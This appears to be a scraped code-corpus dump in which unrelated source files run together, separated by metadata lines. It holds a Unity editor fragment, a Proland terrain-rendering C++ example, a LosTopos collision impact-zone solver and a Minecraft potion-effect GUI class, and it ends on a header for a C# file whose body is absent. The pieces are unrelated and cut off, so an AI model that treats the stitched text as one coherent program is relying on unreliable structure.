EditorGUILayout.BeginHorizontal(); GUILayout.Space(18); } private static void EndMultiPartField() { EditorGUILayout.EndHorizontal(); } public void FocusNameField() { EditorGUI.FocusTextInControl("NameField"); } } }
1
0.912513
1
0.912513
game-dev
MEDIA
0.954454
game-dev
0.748777
1
0.748777
LarsFlaeten/Proland_dev
10,752
terrain/examples/exercise4/HelloWorld.cpp
/* * Proland: a procedural landscape rendering library. * Website : http://proland.inrialpes.fr/ * Copyright (c) 2008-2015 INRIA - LJK (CNRS - Grenoble University) * All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * Proland is distributed under the Berkeley Software Distribution 3 Licence. * For any assistance, feedback and enquiries about training programs, you can check out the * contact page on our website : * http://proland.inrialpes.fr/ */ /* * Main authors: Eric Bruneton, Antoine Begault, Guillaume Piolat. */ #include <stdlib.h> #include "ork/core/FileLogger.h" #include "ork/render/FrameBuffer.h" #include "ork/resource/ResourceTemplate.h" #include "ork/resource/XMLResourceLoader.h" #include "ork/scenegraph/SceneManager.h" #include "ork/scenegraph/ShowLogTask.h" #include "ork/ui/GlutWindow.h" #include "proland/ui/BasicViewHandler.h" #include "proland/ui/twbar/TweakBarManager.h" #include "proland/util/TerrainViewController.h" #include "proland/TerrainPlugin.h" #include "proland/producer/TileLayer.h" #include "proland/producer/GPUTileStorage.h" using namespace ork; using namespace proland; class DebugOrthoLayer : public TileLayer { public: DebugOrthoLayer(ptr<Font> f, ptr<Program> p, float fontHeight) : TileLayer("DebugOrthoLayer") { TileLayer::init(false); init(f, p, fontHeight); } virtual ~DebugOrthoLayer() { } virtual bool doCreateTile(int level, int tx, int ty, TileStorage::Slot *data) { if (Logger::DEBUG_LOGGER != NULL) { ostringstream oss; oss << "Debug tile " << getProducerId() << " " << level << " " << tx << " " << ty; Logger::DEBUG_LOGGER->log("ORTHO", oss.str()); } ostringstream os; os << dynamic_cast<GPUTileStorage::GPUSlot*>(data)->l; ptr<FrameBuffer> fb = SceneManager::getCurrentFrameBuffer(); vec4f vp = fb->getViewport().cast<float>(); fb->setBlend(true, ADD, SRC_ALPHA, ONE_MINUS_SRC_ALPHA, ADD, ZERO, ONE); fontMesh->clear(); font->addLine(vp, 2.0f, 2.0f, os.str(), fontHeight, 0xFF0000FF, fontMesh); fontU->set(font->getImage()); fb->draw(fontProgram, *fontMesh); fb->setBlend(false); return true; } protected: DebugOrthoLayer() : TileLayer("DebugOrthoLayer") { } void init(ptr<Font> f, ptr<Program> p, float fontHeight) { this->font = f; this->fontProgram = p; this->fontHeight = fontHeight; this->fontU = p->getUniformSampler("font"); if (fontMesh == NULL) { fontMesh = new Mesh<Font::Vertex, unsigned int>(TRIANGLES, GPU_DYNAMIC); fontMesh->addAttributeType(0, 4, A16F, false); fontMesh->addAttributeType(1, 4, A8UI, true); } } virtual void swap(ptr<DebugOrthoLayer> p) { TileLayer::swap(p); std::swap(font, p->font); std::swap(fontProgram, p->fontProgram); std::swap(fontHeight, p->fontHeight); } private: ptr<Font> font; ptr<Program> fontProgram; float fontHeight; ptr<UniformSampler> fontU; static static_ptr< Mesh<Font::Vertex, unsigned int> > fontMesh; }; static_ptr< Mesh<Font::Vertex, unsigned int> > DebugOrthoLayer::fontMesh; class DebugOrthoLayerResource : public ResourceTemplate<40, DebugOrthoLayer> { public: DebugOrthoLayerResource(ptr<ResourceManager> manager, const string &name, ptr<ResourceDescriptor> desc, const TiXmlElement *e = NULL) : ResourceTemplate<40, DebugOrthoLayer> (manager, name, desc) { e = e == NULL ? desc->descriptor : e; checkParameters(desc, e, "name,font,fontSize,fontProgram,"); string fontName = "defaultFont"; if (e->Attribute("font") != NULL) { fontName = Resource::getParameter(desc, e, "font"); } ptr<Font> f = manager->loadResource(fontName).cast<Font>(); float size = f->getTileHeight(); if (e->Attribute("fontSize") != NULL) { getFloatParameter(desc, e, "fontSize", &size); } string fontProgram = "text;"; if (e->Attribute("fontProgram") != NULL) { fontProgram = string(e->Attribute("fontProgram")); } ptr<Program> p = manager->loadResource(fontProgram).cast<Program>(); init(f, p, size); } virtual bool prepareUpdate() { oldValue = NULL; newDesc = NULL; return true; } }; extern const char debugOrthoLayer[] = "debugOrthoLayer"; static ResourceFactory::Type<debugOrthoLayer, DebugOrthoLayerResource> DebugOrthoLayerType; class HelloWorld : public GlutWindow, public ViewManager { public: ptr<SceneManager> manager; ptr<TerrainViewController> controller; ptr<BasicViewHandler> view; ptr<EventHandler> ui; HelloWorld() : GlutWindow(Window::Parameters().size(1024, 768)) { FileLogger::File *out = new FileLogger::File("log.html"); Logger::INFO_LOGGER = new FileLogger("INFO", out, Logger::INFO_LOGGER); Logger::WARNING_LOGGER = new FileLogger("WARNING", out, Logger::WARNING_LOGGER); Logger::ERROR_LOGGER = new FileLogger("ERROR", out, Logger::ERROR_LOGGER); ptr<XMLResourceLoader> resLoader = new XMLResourceLoader(); resLoader->addPath("."); resLoader->addArchive("helloworld.xml"); ptr<ResourceManager> resManager = new ResourceManager(resLoader, 8); manager = new SceneManager(); manager->setResourceManager(resManager); manager->setScheduler(resManager->loadResource("defaultScheduler").cast<Scheduler>()); manager->setRoot(resManager->loadResource("scene").cast<SceneNode>()); manager->setCameraNode("camera"); manager->setCameraMethod("draw"); controller = new TerrainViewController(manager->getCameraNode(), 50000.0); view = new BasicViewHandler(true, this, NULL); ptr<TweakBarManager> tb = resManager->loadResource("ui").cast<TweakBarManager>(); tb->setNext(view); ui = tb; } virtual ~HelloWorld() { } virtual void redisplay(double t, double dt) { ui->redisplay(t, dt); GlutWindow::redisplay(t, dt); if (Logger::ERROR_LOGGER != NULL) { Logger::ERROR_LOGGER->flush(); } } virtual void reshape(int x, int y) { ptr<FrameBuffer> fb = FrameBuffer::getDefault(); fb->setDepthTest(true, LESS); fb->setViewport(vec4<GLint>(0, 0, x, y)); ui->reshape(x, y); GlutWindow::reshape(x, y); idle(false); } virtual void idle(bool damaged) { GlutWindow::idle(damaged); if (damaged) { updateResources(); } ui->idle(damaged); } virtual bool mouseClick(button b, state s, modifier m, int x, int y) { return ui->mouseClick(b, s, m, x, y); } virtual bool mouseMotion(int x, int y) { return ui->mouseMotion(x, y); } virtual bool mousePassiveMotion(int x, int y) { return ui->mousePassiveMotion(x, y); } virtual bool mouseWheel(wheel b, modifier m, int x, int y) { return ui->mouseWheel(b, m, x, y); } virtual bool keyTyped(unsigned char c, modifier m, int x, int y) { if (ui->keyTyped(c, m, x, y)) { return true; } if (c == 27) { ::exit(0); } return false; } virtual bool keyReleased(unsigned char c, modifier m, int x, int y) { return ui->keyReleased(c, m, x, y); } virtual bool specialKey(key k, modifier m, int x, int y) { if (ui->specialKey(k, m, x, y)) { return true; } switch (k) { case KEY_F1: ShowLogTask::enabled = !ShowLogTask::enabled; return true; case KEY_F5: updateResources(); return true; default: break; } return false; } virtual bool specialKeyReleased(key k, modifier m, int x, int y) { return ui->specialKeyReleased(k, m, x, y); } virtual ptr<SceneManager> getScene() { return manager; } virtual ptr<TerrainViewController> getViewController() { return controller; } virtual vec3d getWorldCoordinates(int x, int y) { vec3d p = manager->getWorldCoordinates(x, y); if (abs(p.x) > 100000.0 || abs(p.y) > 100000.0 || abs(p.z) > 100000.0) { p = vec3d(NAN, NAN, NAN); } return p; } void updateResources() { BasicViewHandler::Position p; view->getPosition(p); manager->getResourceManager()->updateResources(); controller->setNode(manager->getCameraNode()); view->setPosition(p); } static void exit() { app.cast<HelloWorld>()->manager->getResourceManager()->close(); Object::exit(); } static static_ptr<Window> app; }; static_ptr<Window> HelloWorld::app; int main(int argc, char* argv[]) { initTerrainPlugin(); atexit(HelloWorld::exit); HelloWorld::app = new HelloWorld(); HelloWorld::app->start(); return 0; }
1
0.982513
1
0.982513
game-dev
MEDIA
0.708783
game-dev,desktop-app
0.982373
1
0.982373
sdsgisd/HGF
26,446
LosTopos/LosTopos3D/impactzonesolver.cpp
// --------------------------------------------------------- // // impactzonesolver.cpp // Tyson Brochu 2011 // Christopher Batty, Fang Da 2014 // // Encapsulates two impact zone solvers: inelastic impact zones, and rigid impact zones. // // --------------------------------------------------------- #include <collisionpipeline.h> #include <dynamicsurface.h> #include <impactzonesolver.h> #include <krylov_solvers.h> #include <mat.h> #include <sparse_matrix.h> #include <runstats.h> namespace LosTopos { namespace { // --------------------------------------------------------- /// /// Combine impact zones which have overlapping vertex stencils /// // --------------------------------------------------------- void merge_impact_zones( std::vector<ImpactZone>& new_impact_zones, std::vector<ImpactZone>& master_impact_zones ) { bool merge_ocurred = true; for ( size_t i = 0; i < master_impact_zones.size(); ++i ) { master_impact_zones[i].m_all_solved = true; } for ( size_t i = 0; i < new_impact_zones.size(); ++i ) { new_impact_zones[i].m_all_solved = false; } while ( merge_ocurred ) { merge_ocurred = false; for ( size_t i = 0; i < new_impact_zones.size(); ++i ) { bool i_is_disjoint = true; for ( size_t j = 0; j < master_impact_zones.size(); ++j ) { // check if impact zone i and j share any vertices if ( master_impact_zones[j].share_vertices( new_impact_zones[i] ) ) { bool found_new_collision = false; // steal all of j's collisions for ( size_t c = 0; c < new_impact_zones[i].m_collisions.size(); ++c ) { bool same_collision_exists = false; for ( size_t m = 0; m < master_impact_zones[j].m_collisions.size(); ++m ) { if ( master_impact_zones[j].m_collisions[m].same_vertices( new_impact_zones[i].m_collisions[c] ) ) { same_collision_exists = true; break; } } if ( !same_collision_exists ) { master_impact_zones[j].m_collisions.push_back( new_impact_zones[i].m_collisions[c] ); found_new_collision = true; } } // did we find any collisions in zone i that zone j didn't already have? if ( found_new_collision ) { master_impact_zones[j].m_all_solved &= new_impact_zones[i].m_all_solved; } merge_ocurred = true; i_is_disjoint = false; break; } } // end for(j) if ( i_is_disjoint ) { // copy the impact zone ImpactZone new_zone; for ( size_t c = 0; c < new_impact_zones[i].m_collisions.size(); ++c ) { new_zone.m_collisions.push_back( new_impact_zones[i].m_collisions[c] ); } new_zone.m_all_solved = new_impact_zones[i].m_all_solved; master_impact_zones.push_back( new_zone ); } } // end for(i) new_impact_zones = master_impact_zones; master_impact_zones.clear(); } // while master_impact_zones = new_impact_zones; } // --------------------------------------------------------- /// /// Helper function: multiply transpose(A) * D * B /// // --------------------------------------------------------- void AtDB(const SparseMatrixDynamicCSR &A, const double* diagD, const SparseMatrixDynamicCSR &B, SparseMatrixDynamicCSR &C) { assert(A.m==B.m); C.resize(A.n, B.n); C.set_zero(); for(int k=0; k<A.m; ++k) { const DynamicSparseVector& r = A.row[k]; for( DynamicSparseVector::const_iterator p=r.begin(); p != r.end(); ++p ) { int i = p->index; double multiplier = p->value * diagD[k]; C.add_sparse_row( i, B.row[k], multiplier ); } } } } // unnamed namespace // --------------------------------------------------------- /// /// Constructor /// // --------------------------------------------------------- ImpactZoneSolver::ImpactZoneSolver( DynamicSurface& surface) : m_surface( surface ), m_rigid_zone_infinite_mass( 1000.0 ) {} // --------------------------------------------------------- /// /// Iteratively project out relative normal velocities for a set of collisions in an impact zone until all collisions are solved. /// // --------------------------------------------------------- bool ImpactZoneSolver::iterated_inelastic_projection( ImpactZone& iz, double dt ) { assert( m_surface.m_masses.size() == m_surface.get_num_vertices() ); static const unsigned int MAX_PROJECTION_ITERATIONS = 20; for ( unsigned int i = 0; i < MAX_PROJECTION_ITERATIONS; ++i ) { bool success = inelastic_projection( iz ); if ( !success ) { if ( m_surface.m_verbose ) { std::cout << "failure in inelastic projection" << std::endl; } return false; } bool collision_still_exists = false; for ( size_t c = 0; c < iz.m_collisions.size(); ++c ) { // run collision detection on this pair again Collision& collision = iz.m_collisions[c]; const Vec4st& vs = collision.m_vertex_indices; m_surface.set_newposition( vs[0], m_surface.get_position(vs[0]) + dt * m_surface.m_velocities[vs[0]]); m_surface.set_newposition( vs[1], m_surface.get_position(vs[1]) + dt * m_surface.m_velocities[vs[1]]); m_surface.set_newposition( vs[2], m_surface.get_position(vs[2]) + dt * m_surface.m_velocities[vs[2]]); m_surface.set_newposition( vs[3], m_surface.get_position(vs[3]) + dt * m_surface.m_velocities[vs[3]]); if ( m_surface.m_verbose ) { std::cout << "checking collision " << vs << std::endl; } if ( collision.m_is_edge_edge ) { double s0, s2, rel_disp; Vec3d normal; assert( vs[0] < vs[1] && vs[2] < vs[3] ); // should have been sorted by original collision detection if ( segment_segment_collision( m_surface.get_position(vs[0]), m_surface.get_newposition(vs[0]), vs[0], m_surface.get_position(vs[1]), m_surface.get_newposition(vs[1]), vs[1], m_surface.get_position(vs[2]), m_surface.get_newposition(vs[2]), vs[2], m_surface.get_position(vs[3]), m_surface.get_newposition(vs[3]), vs[3], s0, s2, normal, rel_disp ) ) { collision.m_normal = normal; collision.m_alphas = Vec4d( -s0, -(1-s0), s2, (1-s2) ); collision.m_relative_displacement = rel_disp; collision_still_exists = true; } } else { double s1, s2, s3, rel_disp; Vec3d normal; assert( vs[1] < vs[2] && vs[2] < vs[3] && vs[1] < vs[3] ); // should have been sorted by original collision detection if ( point_triangle_collision( m_surface.get_position(vs[0]), m_surface.get_newposition(vs[0]), vs[0], m_surface.get_position(vs[1]), m_surface.get_newposition(vs[1]), vs[1], m_surface.get_position(vs[2]), m_surface.get_newposition(vs[2]), vs[2], m_surface.get_position(vs[3]), m_surface.get_newposition(vs[3]), vs[3], s1, s2, s3, normal, rel_disp ) ) { collision.m_normal = normal; collision.m_alphas = Vec4d( 1, -s1, -s2, -s3 ); collision.m_relative_displacement = rel_disp; collision_still_exists = true; } } } // for collisions if ( false == collision_still_exists ) { return true; } } // for iterations if ( m_surface.m_verbose ) { std::cout << "reached max iterations for this zone" << std::endl; } return false; } // --------------------------------------------------------- /// /// Project out relative normal velocities for a set of collisions in an impact zone. /// // --------------------------------------------------------- bool ImpactZoneSolver::inelastic_projection( const ImpactZone& iz ) { if ( m_surface.m_verbose ) { std::cout << " ----- using sparse solver " << std::endl; } const size_t k = iz.m_collisions.size(); // notation from [Harmon et al 2008]: k == number of collisions std::vector<size_t> zone_vertices; iz.get_all_vertices( zone_vertices ); const size_t n = zone_vertices.size(); // n == number of distinct colliding vertices if ( m_surface.m_verbose ) { std::cout << "GCT: " << 3*n << "x" << k << std::endl; } SparseMatrixDynamicCSR GCT( to_int(3*n), to_int(k) ); GCT.set_zero(); // construct matrix grad C transpose for ( int i = 0; i < to_int(k); ++i ) { // set col i const Collision& coll = iz.m_collisions[i]; for ( unsigned int v = 0; v < 4; ++v ) { // block row j ( == block column j of grad C ) size_t j = coll.m_vertex_indices[v]; std::vector<size_t>::iterator zone_vertex_iter = find( zone_vertices.begin(), zone_vertices.end(), j ); assert( zone_vertex_iter != zone_vertices.end() ); int mat_j = to_int( zone_vertex_iter - zone_vertices.begin() ); GCT(mat_j*3, i) = coll.m_alphas[v] * coll.m_normal[0]; GCT(mat_j*3+1, i) = coll.m_alphas[v] * coll.m_normal[1]; GCT(mat_j*3+2, i) = coll.m_alphas[v] * coll.m_normal[2]; } } Array1d inv_masses; inv_masses.reserve(3*(unsigned long)n); Array1d column_velocities; column_velocities.reserve(3*(unsigned long)n); for ( size_t i = 0; i < n; ++i ) { inv_masses.push_back( 1.0 / m_surface.m_masses[zone_vertices[i]][0] ); inv_masses.push_back( 1.0 / m_surface.m_masses[zone_vertices[i]][1] ); inv_masses.push_back( 1.0 / m_surface.m_masses[zone_vertices[i]][2] ); column_velocities.push_back( m_surface.m_velocities[zone_vertices[i]][0] ); column_velocities.push_back( m_surface.m_velocities[zone_vertices[i]][1] ); column_velocities.push_back( m_surface.m_velocities[zone_vertices[i]][2] ); } // // minimize | M^(-1/2) * GC^T x - M^(1/2) * v |^2 // // solution vector Array1d x((unsigned long)k); KrylovSolverStatus solver_result; // normal equations: GC * M^(-1) GCT * x = GC * v // A * x = b SparseMatrixDynamicCSR A( to_int(k), to_int(k) ); A.set_zero(); AtDB( GCT, inv_masses.data, GCT, A ); Array1d b((unsigned long)k); GCT.apply_transpose( column_velocities.data, b.data ); if ( m_surface.m_verbose ) { std::cout << "system built" << std::endl; } MINRES_CR_Solver solver; SparseMatrixStaticCSR solver_matrix( A ); // convert dynamic to static solver.max_iterations = 1000; solver_result = solver.solve( solver_matrix, b.data, x.data ); if ( solver_result != KRYLOV_CONVERGED ) { if ( m_surface.m_verbose ) { std::cout << "CR solver failed: "; if ( solver_result == KRYLOV_BREAKDOWN ) { std::cout << "KRYLOV_BREAKDOWN" << std::endl; } else { std::cout << "KRYLOV_EXCEEDED_MAX_ITERATIONS" << std::endl; } double residual_norm = BLAS::abs_max(solver.r); std::cout << "residual_norm: " << residual_norm << std::endl; } return false; } // apply impulses Array1d applied_impulses(3*(unsigned long)n); GCT.apply( x.data, applied_impulses.data ); static const double IMPULSE_MULTIPLIER = 0.8; for ( size_t i = 0; i < applied_impulses.size(); ++i ) { column_velocities[(unsigned long)i] -= IMPULSE_MULTIPLIER * inv_masses[(unsigned long)i] * applied_impulses[(unsigned long)i]; } for ( size_t i = 0; i < n; ++i ) { m_surface.m_velocities[zone_vertices[i]][0] = column_velocities[3*(unsigned long)i]; m_surface.m_velocities[zone_vertices[i]][1] = column_velocities[3*(unsigned long)i + 1]; m_surface.m_velocities[zone_vertices[i]][2] = column_velocities[3*(unsigned long)i + 2]; } return true; } // --------------------------------------------------------- /// /// Handle all collisions simultaneously by iteratively solving individual impact zones until no new collisions are detected. /// // --------------------------------------------------------- bool ImpactZoneSolver::inelastic_impact_zones(double dt) { // copy std::vector<Vec3d> old_velocities = m_surface.m_velocities; std::vector<ImpactZone> impact_zones; bool finished_detecting_collisions = false; std::vector<Collision> total_collisions; finished_detecting_collisions = m_surface.m_collision_pipeline->detect_collisions(total_collisions); while ( false == total_collisions.empty() ) { // insert each new collision constraint into its own impact zone std::vector<ImpactZone> new_impact_zones; for ( size_t i = 0; i < total_collisions.size(); ++i ) { ImpactZone new_zone; new_zone.m_collisions.push_back( total_collisions[i] ); new_impact_zones.push_back( new_zone ); } // now we have one zone for each collision assert( new_impact_zones.size() == total_collisions.size() ); // merge all impact zones that share vertices merge_impact_zones( new_impact_zones, impact_zones ); // remove impact zones which have been solved for ( int i = 0; i < (int) impact_zones.size(); ++i ) { if ( impact_zones[i].m_all_solved ) { impact_zones.erase( impact_zones.begin() + i ); --i; } } for ( int i = 0; i < (int) impact_zones.size(); ++i ) { assert( false == impact_zones[i].m_all_solved ); } bool all_zones_solved_ok = true; // for each impact zone for ( size_t i = 0; i < impact_zones.size(); ++i ) { // reset impact zone to pre-response m_velocities for ( size_t j = 0; j < impact_zones[i].m_collisions.size(); ++j ) { const Vec4st& vs = impact_zones[i].m_collisions[j].m_vertex_indices; m_surface.m_velocities[vs[0]] = old_velocities[vs[0]]; m_surface.m_velocities[vs[1]] = old_velocities[vs[1]]; m_surface.m_velocities[vs[2]] = old_velocities[vs[2]]; m_surface.m_velocities[vs[3]] = old_velocities[vs[3]]; } // apply inelastic projection all_zones_solved_ok &= iterated_inelastic_projection( impact_zones[i], dt ); // reset predicted positions for ( size_t j = 0; j < impact_zones[i].m_collisions.size(); ++j ) { const Vec4st& vs = impact_zones[i].m_collisions[j].m_vertex_indices; m_surface.set_newposition( vs[0], m_surface.get_position(vs[0]) + dt * m_surface.m_velocities[vs[0]] ); m_surface.set_newposition( vs[1], m_surface.get_position(vs[1]) + dt * m_surface.m_velocities[vs[1]] ); m_surface.set_newposition( vs[2], m_surface.get_position(vs[2]) + dt * m_surface.m_velocities[vs[2]] ); m_surface.set_newposition( vs[3], m_surface.get_position(vs[3]) + dt * m_surface.m_velocities[vs[3]] ); } } // for IZs if ( false == all_zones_solved_ok ) { if ( m_surface.m_verbose ) { std::cout << "at least one impact zone had a solver problem" << std::endl; } return false; } total_collisions.clear(); if ( !finished_detecting_collisions ) { if ( m_surface.m_verbose ) { std::cout << "attempting to finish global collision detection" << std::endl; } finished_detecting_collisions = m_surface.m_collision_pipeline->detect_collisions( total_collisions ); impact_zones.clear(); } else { bool detect_ok = m_surface.m_collision_pipeline->detect_new_collisions( impact_zones, total_collisions ); if ( !detect_ok ) { return false; } } } return true; } // --------------------------------------------------------- /// /// Rigid Impact Zones, as described in [Bridson, Fedkiw, Anderson 2002]. /// // --------------------------------------------------------- extern RunStats g_stats; bool ImpactZoneSolver::rigid_impact_zones(double dt) { g_stats.add_to_int( "ImpactZoneSolver:rigid_impact_zones", 1 ); // copy std::vector<Vec3d> old_velocities = m_surface.m_velocities; std::vector<ImpactZone> impact_zones; bool finished_detecting_collisions = false; std::vector<Collision> total_collisions; finished_detecting_collisions = m_surface.m_collision_pipeline->detect_collisions(total_collisions); while ( false == total_collisions.empty() ) { // insert each new collision constraint into its own impact zone std::vector<ImpactZone> new_impact_zones; for ( size_t i = 0; i < total_collisions.size(); ++i ) { ImpactZone new_zone; new_zone.m_collisions.push_back( total_collisions[i] ); new_impact_zones.push_back( new_zone ); } // for loop over total_collisions assert( new_impact_zones.size() == total_collisions.size() ); // merge all impact zones that share vertices merge_impact_zones( new_impact_zones, impact_zones ); for ( int i = 0; i < (int) impact_zones.size(); ++i ) { if ( impact_zones[i].m_all_solved ) { impact_zones[i].m_all_solved = false; impact_zones.erase( impact_zones.begin() + i ); --i; } } for ( int i = 0; i < (int) impact_zones.size(); ++i ) { assert( false == impact_zones[i].m_all_solved ); } // for each impact zone for ( size_t i = 0; i < impact_zones.size(); ++i ) { std::vector<size_t> zone_vertices; impact_zones[i].get_all_vertices( zone_vertices ); bool rigid_motion_ok = calculate_rigid_motion(dt, zone_vertices); if ( !rigid_motion_ok ) { std::cout << "rigid impact zone fails" << std::endl; return false; } } total_collisions.clear(); if ( !finished_detecting_collisions ) { finished_detecting_collisions = m_surface.m_collision_pipeline->detect_collisions( total_collisions ); impact_zones.clear(); } else { bool detect_ok = m_surface.m_collision_pipeline->detect_new_collisions( impact_zones, total_collisions ); std::cout << "new collisions detected: " << total_collisions.size() << std::endl; if ( !detect_ok ) { return false; } } } return true; } // --------------------------------------------------------- /// /// Compute the best-fit rigid motion for the set of moving vertices /// // --------------------------------------------------------- bool ImpactZoneSolver::calculate_rigid_motion(double dt, std::vector<size_t>& vs) { Vec3d xcm(0,0,0); Vec3d vcm(0,0,0); double mass = 0; for(size_t i = 0; i < vs.size(); i++) { size_t idx = vs[i]; double m = (m_surface.m_masses[idx][0] + m_surface.m_masses[idx][1] + m_surface.m_masses[idx][2]) / 3.0; if ( m_surface.vertex_is_any_solid(idx) ) { m = m_rigid_zone_infinite_mass; } assert( m != std::numeric_limits<double>::infinity() ); mass += m; m_surface.m_velocities[idx] = ( m_surface.get_newposition(idx) - m_surface.get_position(idx) ) / dt; xcm += m * m_surface.get_position(idx); vcm += m * m_surface.m_velocities[idx]; } double min_dist_t0 = 1e+30; double min_dist_t1 = 1e+30; for(size_t i = 0; i < vs.size(); i++) { for(size_t j = i+1; j < vs.size(); j++) { min_dist_t0 = min( min_dist_t0, dist( m_surface.get_position(vs[i]), m_surface.get_position(vs[j]) ) ); min_dist_t1 = min( min_dist_t1, dist( m_surface.get_newposition(vs[i]), m_surface.get_newposition(vs[j]) ) ); } } assert( mass > 0 ); xcm /= mass; vcm /= mass; Vec3d L(0,0,0); for(size_t i = 0; i < vs.size(); i++) { size_t idx = vs[i]; double m = (m_surface.m_masses[idx][0] + m_surface.m_masses[idx][1] + m_surface.m_masses[idx][2]) / 3.0; if ( m_surface.vertex_is_any_solid(idx) ) { m = m_rigid_zone_infinite_mass; } assert( m != std::numeric_limits<double>::infinity() ); Vec3d xdiff = m_surface.get_position(idx) - xcm; Vec3d vdiff = m_surface.m_velocities[idx] - vcm; L += m * cross(xdiff, vdiff); } Mat33d I(0,0,0,0,0,0,0,0,0); for(size_t i = 0; i < vs.size(); i++) { size_t idx = vs[i]; double m = (m_surface.m_masses[idx][0] + m_surface.m_masses[idx][1] + m_surface.m_masses[idx][2]) / 3.0; if ( m_surface.vertex_is_any_solid(idx) ) { m = m_rigid_zone_infinite_mass; } assert( m != std::numeric_limits<double>::infinity() ); Vec3d xdiff = m_surface.get_position(idx) - xcm; Mat33d tens = outer(-xdiff, xdiff); double d = mag2(xdiff); tens(0,0) += d; tens(1,1) += d; tens(2,2) += d; I += m * tens; } double det = determinant(I); assert( det != 0 ); Vec3d w = inverse(I) * L; double wmag = mag(w); if ( wmag == 0 ) { return false; } assert( wmag > 0 ); Vec3d wnorm = w/wmag; double cosdtw = cos(dt * wmag); Vec3d sindtww = sin(dt * wmag) * wnorm; Vec3d xrigid = xcm + dt * vcm; double max_velocity_mag = -1.0; for(size_t i = 0; i < vs.size(); i++) { size_t idx = vs[i]; Vec3d xdiff = m_surface.get_position(idx) - xcm; Vec3d xf = dot(xdiff, wnorm) * wnorm; Vec3d xr = xdiff - xf; m_surface.set_newposition( idx, xrigid + xf + cosdtw * xr + cross(sindtww, xr) ); m_surface.m_velocities[idx] = ( m_surface.get_newposition(idx) - m_surface.get_position(idx) ) / dt; max_velocity_mag = max( max_velocity_mag, mag( m_surface.m_velocities[idx] ) ); } min_dist_t1 = 1e+30; for(size_t i = 0; i < vs.size(); i++) { for(size_t j = i+1; j < vs.size(); j++) { min_dist_t1 = min( min_dist_t1, dist( m_surface.get_newposition(vs[i]), m_surface.get_newposition(vs[j]) ) ); } } return true; } }
1
0.977847
1
0.977847
game-dev
MEDIA
0.724868
game-dev
0.969248
1
0.969248
pixelcmtd/CXClient
3,810
src/minecraft/net/minecraft/client/renderer/InventoryEffectRenderer.java
package net.minecraft.client.renderer; import java.util.Collection; import net.minecraft.client.gui.inventory.GuiContainer; import net.minecraft.client.resources.I18n; import net.minecraft.inventory.Container; import net.minecraft.potion.Potion; import net.minecraft.potion.PotionEffect; public abstract class InventoryEffectRenderer extends GuiContainer { /** True if there is some potion effect to display */ private boolean hasActivePotionEffects; public InventoryEffectRenderer(Container inventorySlotsIn) { super(inventorySlotsIn); } /** * Adds the buttons (and other controls) to the screen in question. Called when the GUI is displayed and when the * window resizes, the buttonList is cleared beforehand. */ public void initGui() { super.initGui(); this.updateActivePotionEffects(); } protected void updateActivePotionEffects() { if (!this.mc.thePlayer.getActivePotionEffects().isEmpty()) { this.guiLeft = 160 + (this.width - this.xSize - 200) / 2; this.hasActivePotionEffects = true; } else { this.guiLeft = (this.width - this.xSize) / 2; this.hasActivePotionEffects = false; } } /** * Draws the screen and all the components in it. Args : mouseX, mouseY, renderPartialTicks */ public void drawScreen(int mouseX, int mouseY, float partialTicks) { super.drawScreen(mouseX, mouseY, partialTicks); if (this.hasActivePotionEffects) { this.drawActivePotionEffects(); } } /** * Display the potion effects list */ private void drawActivePotionEffects() { int i = this.guiLeft - 124; int j = this.guiTop; int k = 166; Collection<PotionEffect> collection = this.mc.thePlayer.getActivePotionEffects(); if (!collection.isEmpty()) { GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); GlStateManager.disableLighting(); int l = 33; if (collection.size() > 5) { l = 132 / (collection.size() - 1); } for (PotionEffect potioneffect : this.mc.thePlayer.getActivePotionEffects()) { Potion potion = Potion.potionTypes[potioneffect.getPotionID()]; GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); this.mc.getTextureManager().bindTexture(inventoryBackground); this.drawTexturedModalRect(i, j, 0, 166, 140, 32); if (potion.hasStatusIcon()) { int i1 = potion.getStatusIconIndex(); this.drawTexturedModalRect(i + 6, j + 7, 0 + i1 % 8 * 18, 198 + i1 / 8 * 18, 18, 18); } String s1 = I18n.format(potion.getName(), new Object[0]); if (potioneffect.getAmplifier() == 1) { s1 = s1 + " " + I18n.format("enchantment.level.2", new Object[0]); } else if (potioneffect.getAmplifier() == 2) { s1 = s1 + " " + I18n.format("enchantment.level.3", new Object[0]); } else if (potioneffect.getAmplifier() == 3) { s1 = s1 + " " + I18n.format("enchantment.level.4", new Object[0]); } this.fontRendererObj.drawStringWithShadow(s1, (float)(i + 10 + 18), (float)(j + 6), 16777215); String s = Potion.getDurationString(potioneffect); this.fontRendererObj.drawStringWithShadow(s, (float)(i + 10 + 18), (float)(j + 6 + 10), 8355711); j += l; } } } }
1
0.659081
1
0.659081
game-dev
MEDIA
0.989475
game-dev
0.960218
1
0.960218
pinky39/grove
1,176
source/Grove/Core/Card/CardTemplateSource.cs
